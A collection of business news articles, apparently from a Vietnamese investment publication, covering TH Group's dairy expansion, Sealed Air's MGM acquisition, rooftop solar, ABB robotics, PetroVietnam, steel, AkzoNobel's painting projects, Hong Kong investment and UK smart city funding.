The new mobile application is available on the App Store and Google Play after receiving positive feedback from users.TH Group has been making waves in international markets with its fresh milk products

Last year Vietnams agricultural sector grew 3.76 per cent on-year, exceeding the government target of 2.8-3 per cent. The sectors total export turnover hit a record $40.2 billion, contributing greatly to the economys impressive growth rate of 7.08 per cent. TH has also been making positive contributions to the countrys economy in general and the agricultural sector in particular.

Taking root in Russia

Last September the group began construction of a fresh milk processing plant, with daily capacity of 1,500 tonnes, at the Borovsk special industrial economic zone in the Kaluga region of Russia.

The plant is part of THs $2.7 billion dairy farm and milk processing mega-complex project in Russia. It is also the largest and most modern fresh milk plant in that country, and will also be Vietnams first project of the type there.

The groundbreaking ceremony was attended by Vietnams Party General Secretary Nguyen Phu Trong and Russias Deputy Prime Minister Alexei Vasilievich Gordeev, and other leaders of both nations related ministries.

I am impressed with TH Groups investment here. This plant will be one of the largest and most modern milk plants in Russia, said Party General Secretary Trong, who is also the Vietnamese State President. This project will not only help raise trade and investment ties, but also reflect Vietnams support of Russia in developing its agricultural sector which used to rank on top of the world.

At the event, TH founder Thai Huong said, This is a historic moment for the group and the Borovsk special industrial economic zone, because this project will help further cement our solidarity.

In January 2018, TH also inaugurated its high-yield dairy cow farm in Moscows Volokolamsk district, with the first 1,100 thoroughbred cows imported from the US.

Penetrating Chinas market

On November 5, 2018 at the China International Import Expo 2018 in Shanghai, Chinese Party General Secretary, State President Xi Jinping and Vietnamese Prime Minister Nguyen Xuan Phuc visited the TH booth. The Chinese leader held a TH true MILK package, while listening to the introduction of it.

His attention to this and other Vietnamese agricultural products was seen in the context that both nations are set to ink a protocol on milk product exports. TH is already preparing to export its products to China in big volumes.

Currently, TH has a branch in Guangzhou for distribution, via co-operation with big retail chains including C-Store (420 stores) and Circle-K (76 stores) in order to develop a distribution system in Shenzhen, Guangxi, and in Hong Kong.

Last April at the Food and Hotel Asia Expo 2018 in Singapore, many partners from Singapore, Malaysia, the Philippines, Indonesia, China, and Hong Kong also showed their interest in co-operating with the Vietnamese group in distributing the products.

On November 27, 2018, TH received a certificate of merit from the prime minister for its excellent work in implementing Resolution No.26-NQ/TW of the 10th Central Party Committee on developing agriculture, farmers and rural areas. This mirrors the governments recognition of THs great contributions over the past decade, via its hi-tech agricultural projects, to the nation.

At present, TH has over 70 types of products made from fresh milk materials, and is the leading provider of fresh milk, with more than 40 per cent of the Vietnamese fresh milk market share.Sealed Air has acquired MGM to expand its operations throughout the Asia-Pacific. Source: packagingnews.com.au

Sealed Air plans to leverage MGMs expertise to expand its printing and lamination capabilities and better serve customers throughout the Asia-Pacific region.

Founded in 1982, MGM specialises in printing and laminating and provides flexible food packaging materials for the consumer packaged goods markets in Southeast Asia. The company also exports to and supports companies in Australia, Brunei Darussalam, and New Zealand.

We are excited to have the talented team at MGM join us and improve our ability to deliver world-class innovations to the regions rapidly growing food market, said Karl Deily, president and chief commercial officer of Sealed Air. This acquisition enables us to expand our capacity and footprint in Asia and aligns with our strategy to invest in high-growth geographies and markets.

Sealed Air has been present in the Philippines for more than 20 years and employs more than 2,000 people in Asia. MGM employs 150 people.

The transaction is expected to close in April. The terms of the transaction were not disclosed and are not material to Sealed Airs financial results.

Previously, in October 2018, Sealed Air Corporation announced a bold sustainability and plastics pledge to design and advance innovative packaging solutions to be 100 per cent recyclable or reusable by 2025. The company will accelerate its use of recycled materials, expand reuse models for packaging, and lead the collaboration with partners worldwide to ensure execution.

At Sealed Air, we strive to leave our world, environment, and communities better than we found them by leading innovative efforts to create differentiated, sustainable solutions, said Ted Doheny, Sealed Air President and CEO. Our history of sustainability is strengthened through our new sustainability and plastics pledge and, as an industry leader, it is our responsibility to build a waste-free future, keep our oceans clean, and leave a lighter carbon footprint.

In August 2018, Sealed Air acquired US-based AFP, a privately-held fabricator of foam, corrugated, moulded pulp, and wood packaging solutions.

AFP is engaged in providing custom-engineered protective packaging for retail, e-commerce, and direct shipping applications. It employs 260 people.

Earlier this month, Sealed Air has joined the Alliance to End Plastic Waste (AEPW), a new global organisation established to reduce plastic waste in the environment.

Sealed Air is a knowledge-based company focused on packaging solutions that help customers achieve their sustainability goals in the face of todays biggest social and environmental challenges. This corporation enables a safer and less wasteful food supply chain, and protects valuable goods shipped around the world. Sealed Air generated $4.5 billion in sales in 2017 and has approximately 15,000 employees who serve customers in 122 countries.Solar PV panels are the beginning of an era of true energy independence

For five months, Mac Nhu Lai, a 57-year-old resident in Ho Chi Minh City has been using a three kilowatt-peak (kWp) rooftop solar photovoltaic system called BigKilowatt. The system saved 30 per cent on his electricity bill and increased his income by selling electricity back to the national power grid. Reducing the electricity bill, the solar rooftop panels help reduce our environmental footprint, Lai said.

Solar rooftop systems became popular in Vietnam. By installing solar panels and a green roof, owners can save costs and enjoy the socio-environmental benefits of a living roof.

Racing to rooftop

The Vietnamese commercial and industrial sectors has shown a lot of interest in solar rooftop panels.

The 2015-2018 period has seen a number of investments and investment announcements for new or expanded PV module and cell manufacturing capacities. These investments are partly made by local Vietnamese investors such as the expansion of the existing Red Sun module manufacturing or the Solar BK/IREX module and cell manufacturing plants, but feature mostly foreign (mainly Chinese) investors such as Canadian Solar Inc., CSUN, Boviet, Vietnam Sunergy JSC or Vina Solar.

The power market is witnessing a boom in solar power projects as local and foreign investors are racing to reap the benefits of the 9.35 US cent feed-in-tariff (FiT).

The latest data shows that a total of 332 solar projects have been registered with the total capacity of 26,290 megawatt peak (MWp), including 121 projects (7,234MWp total capacity) that will begin to generate electricity by 2020 and 211 (13,069MWp) awaiting approval. These figures have far exceeded the targets of the revised Power Development Plan VII. Additionally, more than 800 small-scale rooftop solar power projects with a combined capacity of nearly 11.6MW have been developed.

The installed capacity connected to the grid is dominated by a rather small number of medium-sized rooftop systems, such as the installations of Intel Corporation in Ho Chi Minh City (220kWp), Big C Green Market in the southern province of Binh Duong (212kWp), PUMA/Avery Dennison in the Mekong Delta province of Long An (100kWp), Deutsche Bekleidungswerke (DBW) in Long An (165kWp) or the National Conference Hall (154kWp), the UN building (119kWp), and the new National Assembly building (50kWp) or the building of the Ministry of Industry and Trade (MoIT  22kWp) in Hanoi.

At its exhibition booth on the side-lines of the recently-held Vietnam Economic Forum 2019, Mai Van Trung, business development director of SolarBK, told VIR that last year, SolarBK deployed more than 300 projects with a total capacity exceeding 3MWp. In terms of production, SolarBKs member IREX also contributes to the domestic and foreign markets with a total of more than 50MWp of panels and photovoltaic cells.

From July 2018, SolarBK launched the BigK 2-10kWp solution for households, which exceeded their wildest expectations by occupying 46 per cent of the market for household solution packages in five months.

Pham Trong Quy Chau, director of TTC Energy JSC, also said that the roofs of companies, factories, and apartments have great potential to install solar roof systems. Currently, this company has been renting rooftop space and installing solar panels to then resell the generated energy at a lower price than the utility company.

According to renewable expert Phan Hieu Hien, if only two million roofs in Vietnam were installed with 10kW solar roof panels, coal usage would be reduced by 16 million tonnes per year (worth $3-4 billion) at coal-fired power plants.

Rooftop solar panels have never been more affordable for home and business owners and communities, and they can now help households halve their monthly electricity bills, while contributing to environmental protection. The payback period of five or six years, especially in the south of Vietnam, makes for a promising prospect for international companies, according to Rainer Brohm, a renewable energy expert.

Commercial and industrial solar PV rooftop applications have great development potential and promise interesting investment opportunities for the private sector in Vietnam. Besides households, deploying solar energy at production sites would help manufacturing industries improve the reliability of their power supply and reduce the demand for non-renewable power. This would also bring significant savings for the commercial and industrial sectors in terms of electricity consumption due to high tariffs during peak hours and the cross subsidisation policy charging large consumers more to subsidise smaller ones.

Green trends and 4.0 tech

Nguy Thi Khanh, director of GreenID, the co-ordinator of the Vietnam Sustainable Energy Alliance, said that a greenhouse programme is underway to encourage the installation of solar system on houses roofs.

She stated that solar power technology is reliable and cheaper than fossil fuel, and is better for both the environment and human health.

The rising popularity of distributed energy sources like rooftop solar has given end-consumers an opportunity to produce electricity too. No longer just consumers, they are also electricity producers, hence becoming prosumers. This is a recent but popular phenomenon.

The high power demand is urging the sector to adapt to an expected explosion in independent power generation  including from households with rooftop solar panels. A winning combination of smart grid, distributed renewable energy sources, and blockchain could trigger an energy revolution the likes of which have never been seen before. It can be the beginning of an era where energy independence is a reality.

Blockchain enables so-called peer-to-peer transactions. With this type of transaction, every participant in a network can transact directly with every other network participant, without involving a third-party intermediary. The innovation behind blockchain is that transactions are no longer stored in a central database, but distributed to all participating computers, which store the data locally. The first relevant blockchain application was the Bitcoin cryptocurrency. Over recent years, Bitcoin has become the basis for other blockchain applications, most of which are currently being developed in finance. A number of businesses and initiatives have recently been launched to apply the blockchain principle to other industries, including the energy sector. Blockchain applications are very promising, but they are still at an early stage of development.

Trung from SolarBK told VIR that end-users who directly trade electricity with each other get a better rate than from the utility, while the buyer also gets the energy at a discounted rate.

Peer-to-peer energy trading is becoming a reality with the help of blockchain technology. Most energy transactions are complex and cumbersome due to the involvement of many parties and regulations. Blockchain can straightaway remove the complexities and let end users deal with each other, while still providing them a secure environment to do so, said Trung, adding that SolarBK is preparing to apply 4.0 technologies after collecting a database for four years.

Vietnam has expansive solar resources that could be used to successfully develop the solar energy sector. Current scientific estimates of the overall solar resources in Vietnam state an average of 4-5kWh per square metre per day in the southern, central, and partially even northern Vietnam  totalling 1,460-1,825 kilowatt hour (kWh) per sq.m per year  and average peak irradiation of up to 5.5kWhper sq.m per day in some southern areas (totalling up to 2,000kWh per sq.m per year). These solar irradiation levels are comparable to most countries in the region, including developed solar markets such as China, Thailand or the Philippines, as well as to international solar markets, such as Spain and Italy.ABBs YuMi is a cutting-edge solution that is suitable for manufacturers

Returning to Vietnam for the occasion of opening Vietnams first Robotics Technical and Service Centre, Arno Strotgen, vice president of ABBs Customer Service, Business Unit Robotics, shared his conviction that the country will become an important regional and maybe even global manufacturing hub.

A smart factory in the 4.0 era embodies a range of manufacturing technologies that fuse the physical and digital worlds, with breakthroughs in Artificial Intelligence (AI), robotics, the Internet of Things (IoT), metrology, and 3D printing seen as the main drivers. Smart factories represent a tremendous evolution from a traditional automated production system into a system which can continuously connect and process data. Analysts predicted that smart factories would make up 5 per cent of total global output by 2025 and bring a profit of $70 billion.

Deputy Minister of Industry and Trade Cao Quoc Hung said, The core of the Fourth Industrial Revolution is smart manufacturing plants.

ABBs robots are used in industries in Vietnam, such as automotive, electronics, animal feed, food and beverage, chemicals, as well as metal and brick fabrication. The company recently supplied thousands of robots to an electronics manufacturer and to VinFast  the first Vietnamese electric automobile maker.

In June 2017, Samsung SDS concluded a strategic agreement with CMC, the second-largest ICT service company in Vietnam, to promote the smart factory business in Vietnam. At Samsungs factory in the northern province of Bac Ninh, 6,000 robots are working on the assembly lines.

Vinamilk, the nations leading dairy producer, has spent VND2.4 trillion ($104.3 million) setting up an automatic production line. At its factories, the transportation and sorting of goods are done by robots.

The Vietnamese economy is known as one of the fastest growing in the world. Vietnams GDP grew by 7.08 per cent in 2018, the highest in the past 11 years, the General Statistics Office (GSO) announced, buoyed by a humming manufacturing sector. The governments efforts include the 2011-2020 Strategy for Science and Technology Development to enhance economic competitiveness and speed up industrialisation, prioritising the importance of industrial robots and hi-tech automation.

Cobots and future trends

Shermine Gotfredsen, general manager, Southeast Asia and Oceania at Universal Robots (UR), said: Cobot [a robot designed to collaborate with human workers] demand is rising in Vietnam as businesses are recognising the importance of employing advanced technology and robotics to maintain a competitive advantage. Furthermore, the government has made Industry 4.0 a top priority, developing action plans to accelerate the adoption of new automated technology and attract more foreign investors.

Talking about cobots in the 4.0 era, Gotfredsen shared: Beyond their innate Industry 4.0 compatibility, cobots have played a major role in enabling companies that might not have been able to afford industrial robots to start automating their processes. As they are versatile, easy to programme, small, lightweight, and affordable, cobots are being deployed at small- and medium- sized enterprises (SMEs) to retrofit older factories belonging to companies that might not be in a position to build a turnkey Industry 4.0 facility, and at companies of all sizes in developing countries.

By democratising robotic automation this way, cobots help companies across the globe join the latest wave of automation, even if they are not ready to go all the way to Industry 4.0, according to Universal Robots.

Giving a general view, Strotgen from ABB said the global robotics industry has grown fast over the last five years. Sales doubled and growth rose by double digits every year. In 2017, a record year, the World Robotics Report showed that a new record of 381,000 units were shipped globally, an increase of 30 per cent compared to the previous year. This means that the annual sales volume of industrial robots increased by 114 per cent in the five years up to 2017. Sales value increased by 21 per cent compared to 2016 to a new peak of $16.2 billion.

The main driver of this growth was Asia. The continent is the worlds fastest-growing market for robotics solutions  and for good reason: as the regions quickly-growing countries industrialise and begin making more goods than ever, robots help them do so at a comparatively lower cost than with human capital.

The automotive industry remains the largest adopter globally. The manufacturing of passenger cars has become increasingly complex over the past 10 years. A substantial proportion of the production processes nowadays require automation solutions using robots. Manufacturers of hybrid and electric cars are experiencing stronger demand for a wider variety of car models, just like traditional car manufacturers. Furthermore, the challenge of meeting 2030 climate targets will require a larger proportion of new cars to be low- and zero-emissions vehicles.

Besides, the automotive industry and electronics sector, newer fields such as logistics will have more robots coming. The big trend is in collaborative robotics, and ABB has presented YuMi that can work beside humans. For example, a single-arm YuMi robot, developed by ABB, can be used to feed parts to a dual-arm YuMi to speed up cycle time or can be added as an extra arm to integrate a testing and inspection station into an electronics assembly application. The single-arm type also features the same intuitive, easy-to-use lead through programming as the dual-arm, meaning even workers without specialised training can set up and operate the robot. Combining this simplicity with the robots deployment flexibility can help manufacturers in many industries offset shortages of skilled workers. Thus collaborative robotics is a promising area for the future.

We have opened Vietnams first robotics technical and service centre in the north to support businesses to deploy advanced manufacturing technologies. Vietnam is at an exciting phase of its development. We have seen large local companies such as VinFast using the latest technologies in their manufacturing base, or state corporations such as Electricity of Vietnam (EVN) starting to look for digital management solutions. Whether it is about delivering smart cities, smart factories, smart grids or renewable energy or electric vehicles, we look forward to continuing to bring ABBs innovative technologies to the country, said Brian Hull, ABBs country managing director in Vietnam.

He added: With ABB Ability, we look forward to delivering digital and connected solutions that enable our customers to improve quality, flexibility, productivity, and reduce production costs. This means increases in profitability and margins for the customers. In addition, flexible and agile operations are becoming more and more beneficial to businesses.PetroVietnam on course for sustainable Development

On its journey to become a leading state-owned economic group, PetroVietnam has been checking out its targets to improve its business achievements. According to CEO of PetroVietnam Nguyen Vu Truong Son, the establishment of the PetroVietnam has contributed significantly to the socio-economic development of the country, helping Vietnams international integration efforts.

At the latest meeting to review the groups restructuring plan, Son said that the groups progress has been good and the lessons learnt will not be forgotten in the coming stages.

According to its restructuring plan, from October 1, 2018, PetroVietnams operation structure was reduced by 48 per cent, to 16 departments and divisions. In addition, department leaders were also re-assigned to align with real demands. There has been a radical re-arrangement of positions to encourage the efficiency of human resources. More importantly, according to Son, all of these activities were done in the most transparent and democratic manner with the support of employees from the central to the grassroots levels.

In the time to come, the group and its affiliates and subsidiaries will continue restructuring its system accordingly to the PetroVietnam Party Committees Resolution No.170-NQ/DU dated March 28, 2018 to review all processes and make operations more efficient.

PetroVietnams five outstanding achievements in 2018 - PetroVietnam has basically completed its strategy to reduce the number of departments and divisions with similar tasks and issued the Petroleum Culture Manual and the Code of Professional Ethics for its leaders and managers; - Exceeding production and business targets, especially those pertaining to increasing PetroVietnams reserves, oil and gas output, and financial indicators. Many member units have completed their yearly plans sooner than expected; - Successful equitisation and transformation of PetroVietnam Power Corporation (PVPower), PetroVietnam Oil Corporation (PVOil), and Binh Son Refining and Petrochemical Company (BSR) into joint stock companies; - Officially putting into commercial operation Nghi Son Petrochemical Complex  the first ever petrochemical complex of Vietnam with investment capital of $9billion and capacity of 10 million tonnes of crude oil per year; - Resuming several delayed projects, such as Dinh Vu Fibre Factory, Dung Quat Bio Ethanol Factory, and Binh Phuoc Biofuel Plant.

Sustainability in targets

In its development strategy, PetroVietnam targets key solutions to ensure sustainable development in the incoming decades.

Son said that the group will strictly follow these key solutions until 2025.

The most substantial changes, according to him, came in governance, whereby the group placed focus on improving its operating policies to increase the competitiveness of its business activities. Especially policies pertaining to international investment and oil and gas activities were streamlined.

The group will continue restructuring to ensure that it operates under market mechanisms and is aligned with the development and integration trends of the world.

Especially, the group will focus on its core business in the petroleum industry, pushing the process of re-arranging and equitising enterprises in which the state does not need to hold 100 per cent or the majority of the stakes. It will also increase research and development (R&D) activities.

It will also set up and implement a modern management and governance system aligning with international standards and practices.

Administrative improvements have been regularly implemented to improve efficiency. In addition, inspections will also be more frequent at both the parent company and affiliates.

Regarding finances, the group will also diversify capital sources. In particular, 32 per cent of its annual profit, 100 per cent of its profit from Vietsovpetro  a joint venture between Vietnam and Russia  and 100 per cent of the proceeds from the equitisation of subsidiaries will be used for re-investment.

According to Son, the group must revise its development strategies and draw up a suitable equitisation schedule in line with industry demands and the current economic context. Attracting more foreign investment and non-state capital is another target.

Some solutions to diversify its capital sources by improving access to normal and preferential credit for business activities and export. In addition, the group will also strengthen win-win relations with banks, while expanding relations with international and regional banks, as well as securing more guarantees from the Vietnamese government for key oil and gas projects.

Diversifying capital sources, improving administrative procedures to increase efficiency, and accelerating key oil and gas projects are our key missions in the coming time, said Son.

To expand the market, the group is actively finding opportunities to help its affiliates and subsidiaries to improve their competitiveness and business efficiency, while encouraging them to expand cooperation and joint ventures with foreign investors to expand their business abroad.

Key results of 2018 - PetroVietnam completed its annual plan with a production output of 23.98 million tonnes of oil equivalent, exceeding the annual plan by 1.14 million tonnes. - PetroVietnam has produced 9.60 billion cubic metres of gas, surpassing the plan by 4.3 per cent. - Along with oil and gas, the group also enjoyed a high output of other products, including more than 19 billion kWh of electricity and 1.63 million tonnes of nitrogenous fertiliser. - In 2018, the groups total revenue hit VND626.8 trillion ($27.3 billion), surpassing the yearly plan by 18 per cent. It contributed VND121.3 trillion ($5.2 billion) to the state budget, 64.3 per cent higher than its target. - PetroVietnam appraised 15 wells and exploited 17 others, locating two new fields at Tho Tinh Nam in Block 05-3/11, and Meo Trang Dong in block 09-1.

Innovative development

In its development strategy, PetroVietnam also aims to make information and forecasting more transparent to craft more effective business plans. Another facet of this strategy is the creation of a complete chain from supply through manufacturing to consumption. The group will also promote PetroVietnam and its affiliates brand names and build PetroVietnam into a national brand name.

In education and human resources development, the group aims to improve the skills of its staff, especially experts in the oil and gas industry. The group has been actively co-operating and establishing joining ventures with foreign companies to improve its human resources.

Regarding development in the oil and gas industry, scientific and technologic solutions will play a key role. The group has been boosting R&D as well as the application and transfer of technology to achieve sustainable development, protect natural resources, and improve competitiveness.

Innovation in mindset, improving training, increasing the tasks of high-skill workers, setting incentives for workers, and increasing investment in science and technology will be our tools to achieve sustainable development, said Son.

In addition, all affiliates and subsidiaries will raise R&D funds to apply advanced technologies from their industry.

Last but not least, the group has been strictly obeying all Vietnamese environmental regulations, meeting all commitments to the global community in all of its projects and activities. In the coming time the group will build out forecasting and risk management systems and improve its capacity to cope with emergencies.

Especially, the processing and management systems in oil and gas activities will be completed featuring advanced and environmentally-friendly technologies with the highest safety standards. The group will also set up a database for environmental protection and implement its strategy on energy safety and clean energy usage.

Son said that the challenges and difficulties of PetroVietnam in the coming time are hard to predict, but will likely grow in complexity as the group evolves. However, PetroVietnam has overcome great ordeals in its history and remains optimistic.

Even as challenges change with each stage of development, with due attention from the Party and the government, the groups workers and staff will definitely overcome whatever comes our way, Son stressed.The US-China trade war did not only hit downstream steel players, but it provided them a chance to fill in Chinese producers boots

Throughout 2018, trade tensions between the worlds two biggest economies have reverberated across the world. Among the top products that fall victim to this trade war is steel, starting with Chinese steel imports to the US being taxed by 25 per cent in March 2018. The issue is getting complicated as the US has accused Chinese steel manufacturers of shifting products to nearby countries, including Vietnam, Malaysia, and Indonesia, to avoid import duties to the US.

For the past year, these anti-dumping accusations had a negative effect on Vietnams upstream steel producers. Steel mills in Vietnam are suspected of importing Chinese products, adding some minor finishing touches before exporting them to the US as Made in Vietnam steel. The 250 per cent tax on Vietnamese steel, imposed by the USs Department of Commerce last year, was a bitter pill to swallow for local steel exporters.

As a result, the entire steel industry was taken by doom and gloom, accompanied by news of excess capacity and strict export requirements. However, industry experts are now trying to clarify that the trade war and its related tariffs only affect upstream companies. These are the ones at the very start of the production process, who are responsible for collecting raw materials, such as iron ore or coal, before mixing them and creating steel billets for mid-stream businesses.

According to industry experts, the effect is more muted for mid-stream companies, who are tasked with thinning the steel billets. Going further to downstream counterparts, who use the finished steel to build houses and factories, no significant impact of the trade war can be found. This is mainly because downstream businesses in Vietnam respond first and foremost to the domestic construction demand, which is still robust thanks to Vietnams rising status as a regional manufacturing hub.

A lot of people are concerned about our profitability in 2018 due to the trade war. However, it is actually the opposite. Our profits are excellent, and we are proud of the projects we delivered in the past year, said Sami Nour Kteily, executive chairman of PEB Steel Buildings.

The downstream company posted a historic revenue figure of more than $100 million in 2018, which represents a growth of 30 per cent year-on-year.

P.E.B. technology is flourishing in Vietnam, as 80 per cent of factories chose it over ready-built materials

New opportunities for big players

Most experts agree that the Vietnamese steel industry still has ample room for growth despite risks of lower exports and the trade war. However, growth opportunities are not the same for everyone. For example, in the downstream segment, pre-engineered buildings (P.E.B.) are expected to flourish, while small stores selling ready-made steel will be phased out.

In many ways, P.E.B. technology is superior to ready-made steel because it is tailored to each construction project. Similar to a tailor, P.E.B. engineers will take into account the requirements of individual customers before designing suitable steel products for specific projects. All of the primary framing members, and secondary structural tools, are treated in the factory before being shipped to the job site for setting up the building.

On the contrary, ready-made steel producers  similar to fast-fashion manufacturers  have a one-size-fits-all approach to construction. Customers have to choose from the existing range of materials, which may not match their own unique needs.

The change towards P.E.B. technology in Vietnam is already happening, with 80 per cent of domestic factories now built with P.E.B. technology instead of ready-made materials. This trend is similar to nearby markets such as Myanmar, Cambodia or Laos, where steel mills cannot meet the rising demand for tailored buildings. The P.E.B. market in Vietnam, specifically, is expected to grow by 15 per cent in the near future, as manufacturers flock to the country thanks to Vietnams increasing openness to global markets.

PEB Steel Buildings Kteily said that even within the P.E.B. industry, there is a divide between major businesses and smaller competitors. Bigger players have three distinct advantages: an experienced in-house team of engineers, the latest software of certified standards, and a huge inventory of at least three months worth of sales. At PEB Steel Buildings, this amounts to $15 million of inventory.

We want to build efficient, effective and economical buildings. We should take particular care not to repeat the mistakes of the ready-made system. Our products must be of certifiable origin and our in-house engineers need to always make sure that we can provide tailored solutions to each customer, said Kteily.

At factories, major businesses can afford to have the most experienced welders, together with good materials and a strong team of controllers, who keep tabs on product quality. Added advantages include high-quality accessories and a no-waste system that minimises environmental effects.

Going forward

Buoyed by good prospects and a healthy distance from the US-China trade war, most downstream steel businesses in Vietnam are upbeat about the future ahead. PEB Steel Buildings is among the biggest optimists  the company finished 2018 with a bang and is now eager to see what the future has to offer. Just a few months ago, the company finished the steel structure for the first stage of VinFasts automobile factory, located in the northern port city of Haiphong.

This is our proudest achievement in 2018, as we delivered the project in record time and recorded no casualties or penalties, said Kteily.

The company is the largest supplier of steel structures for the complex, and is also the sole foreign contractor to implement P.E.B. technology at the site. The company is incredibly happy to take part in a landmark project for Vietnams nascent automobile industry. Looking forward, PEB Steel Buildings said that it is planning to export Made-in-Vietnam steel to different markets around the world, as far as El Savador in the Caribbean. Bound by its commitment to Vietnams sustainability goals, the 25-year-old company is also striving to train Vietnams next generation of high-quality engineers and to promote green construction in the country.3D frescoes are lightening up Ly Son Island to attract more tourists

Five years ago, travellers arrived to Ly Son Island because of its wilderness, which is somehow rooted in the poverty of its people. Now, they come to find a different thing: a painted street. Completed in the summer of 2018 by 40 volunteer students, 3D frescoes lighten up the new road to the sea. Since then, tourists found another reason to discover the poor island, which benefits Be Islet a lot. The colourful pictures attract more tourists, helping local people improve their livelihoods. Furthermore, they might help to reduce the pressure to exploit near-shore fisheries and other unsustainable marine exploitation ways, according to Pamela Phua, general director of AkzoNobel Vietnam, the sponsor of the painting programme. We also believe that a village in the middle of the sea with artful frescoes containing clear messages will inspire locals and visitors to consciously preserve the beauty of one of the most unique places in Vietnam, said Phua.

These benefits were proved by other programmes conducted in the Canh Duong fishing village (Quang Binh province) two years ago and Dai Lanh Lighthouse (Phu Yen province) last year. After being repainted with Dulux Weathershield  one of the most premium exterior paints, Dai Lanh Lighthouse has become an attractive tourist destination, especially for young travellers. The coating also helps maintain the long-lasting beauty of this famous architectural work by protecting it against extreme oceanic climate.

The three programmes were part of a long-term project called Lets Colour by AkzoNobel. It includes a series of events that happen around the world where the brand engages with local communities to transform dull and grey spaces into something more interesting using colour paints. Within nearly a decade since inception, painting projects under Lets Colour have been benefitting more than 81 million people with 2,000 projects implemented, 48,000 people trained, and nearly 1.4 million litres of paint donated.

Besides, paint is believed to have the transformational power to uplift communities and energise cities and villages around the world. In fun and surprising ways, these walls have brought communities together in celebrating unity, kindness, and connection. Recently, in March 2018, the joint Lets Colour  Walls of Connection campaign brought together artists and local communities to paint 100 walls in 40 cities. In Vietnam, villages and symbolic architectural works across the country have been repainted and 100 schools are planning to have a new coating within the AkzoNobel accompanies you to school programme. However, this is just a starting point.

Phua outlined AkzoNobels plans in the country in the near future: We are going to continue executing projects in different segments, such as education, natural resource conservation, and the protection of iconic architectural works, which benefit local people the most. All these works can be done through our internal community programme or via collaboration with other partners. We are assured about the further success of the Lets Colour project for its genuine values of uplifting communities all over the world and in Vietnam through the power of colour.Hong Kong investors are enticed by Vietnam's manufacturing growth and domestic market

Trade tensions between the US and China are reverberating across the world, including the manufacturing industry in Hong Kong. After years of setting up camp in China, factory owners are now shifting their production lines to Southeast Asia, particularly Vietnam, to protect themselves from rising tariffs.

This trend is clearly reflected by the latest statistics. For example, the Hong Kong Trade Development Council (HKTDC) showed that in the first nine months of 2018, bilateral trade between Hong Kong and Vietnam already reached $18 billion. The figure for the entire year of 2017 was $18.11 billion.

Direct capital is also robust, as inbound investments from Hong Kong are the sixth largest in Vietnam. The Vietnamese Ministry of Planning and Investment recorded $19 billion of foreign direct investment from Hong Kong in the first half of 2018.

Terence Chiu, head of Commercial Banking at HSBC Bank (Hong Kong), told VIR that Vietnam is the exciting new home for his Hong Kong-based clients. The banker stressed that the manufacturing shift already started in previous years, but the trade war has brought a sense of urgency to factory owners.

We have already seen the trade diversion into the ASEAN before the trade war, as China became more expensive and companies wanted to diversify their production lines. But the trade war definitely affected sentiments, as manufacturers must prepare for potential tariffs, said Chiu.

Trade and investments between Hong Kong and Vietnam can benefit from recent deals

Last month, the ASEAN-Hong Kong Free Trade Agreement and the Investment Agreement took effect, promising to boost economic activities between Southeast Asia and Hong Kong. The 14 chapters cover broad areas of market access, liberalisation, and co-operation to facilitate trade in goods and services.

At a trade promotion event held by the HKTDC in Ho Chi Minh City last September, Hong Kong businesses spoke warmly of Vietnams booming domestic market. This will complement Vietnams emerging status as a regional manufacturing hub, they said.

Investors look deeper than low labour cost  it is Vietnams strong fundamentals, growing consumption market buoyed by the middle class, and plenty of government support to do business, said Nick Mahon, head of International Subsidiary Banking at HSBC Vietnam. The bank has more than 100 Hong Kong groups as clients.

Hong Kong reductions set for FTA Vietnam will soon officially implement its commitments to reduce and remove import tariffs under the ASEAN-Hong Kong Free Trade Agreement, facilitating the attraction of more ...

Hong Kong FTA to boost investment Vietnam is expected to become a haven for investors from Hong Kong once the ASEAN-Hong Kong Free Trade Agreement comes into force next year.

Hong Kong stands ready to welcome Vietnamese investors Hong Kong is calling for investment from Vietnam in the fields of financial services, consumer goods, transportation and industry, tourism-restaurant-hotels, technological innovation, and innovative industries.Tran Quoc Thai, deputy director of the Ministry of Constructions Urban Development Agency, looked at smart city development in the United Kingdom

The emergence of city habitats in the history of human civilisation has always been attached with a significant breakthrough in every period of development, be it the ancient Indus Valley fortified city, the British-led industrial revolution of the 18th century, or the smart city developments of the present day. On the other hand, cities have also always been desperate for innovation, so that they can create sound development in this flat and hyper-connected world.

Realisation of smart city endeavours would bring about tremendous new business opportunities in many walks of life, from industrial innovations to optimisation of traditional age-old urban operations. That would need different insights and means to facilitate new startups.

The Department for Business, Energy and Industrial Strategy, a ministerial department of the UK government, is sponsoring UK Research and Innovation (UKRI), the national funding agency in investing in science and research in Britain. Operating across the whole of the UK with a combined budget of more than 6 billion ($7.7 billion), UKRI brings together the seven research councils, Innovate UK and Research England.

Innovate UK drives productivity and economic growth by supporting businesses to develop and realise the potential of new ideas, including those from the UKs world-class research base. Innovate UK is an organisation of around 500 staff, drawn mainly from businesses working across the UK. They have clear but challenging responsibilities. These include connecting businesses to partners, customers and investors that can help them turn ideas into commercially-successful products and services and business growth; and providing funds to business and research collaborations to accelerate innovation and drive business investment into research and development (R&D).

Since 2007, Innovate UK has invested around 2.5 billion ($3.21 billion) to help businesses across UK to innovate, with matched funding from industry taking the total value of projects above 4.3 billion ($5.52 billion). They have helped 8,500 organisations create around 70,000 jobs and added an estimated 18 billion ($23.12 billion) of value to the UK economy. This was about 7.3 ($9.38) of gross value added for every 1 ($1.28) invested. To undertake the responsibilities, Innovate UK set out a Catapult centres network. Catapult centres are a network of world-leading centres designed to transform the UKs capability for innovation in specific areas and help drive future economic growth.

They are a series of physical centres where the very best of the UKs businesses, scientists and engineers work side-by-side on late-stage R&D, transforming high potential ideas into new products and services to generate economic growth. Each Catapult centre does this by providing access to expert technical capabilities, equipment, and other resources required to take innovative ideas from concept to reality. Catapults are not-for-profit, independent physical centres which connect businesses with the UKs research and academic communities. Each Catapult centre specialises in a different area of technology, but all offer a space with the facilities and expertise to enable businesses and researchers to collaboratively solve key problems and develop new products and services on a commercial scale.

Whether a business is in need of a new manufacturing process, a fresh approach to digital rights protection, or a new way of balancing energy demands in a future city environment, Catapults can help them. Future Cities Catapult is one among 10 different focus areas, being located in London.

Cities across the UK have seen more than 250 million ($321.16 million) public and private investment in solutions to improve urban living. Innovate UK awarded 50,000 ($64,231) each to 30 cities and challenged them to show how they could work with businesses and partners on new technologies in areas such as transport, housing, health, energy and pollution.

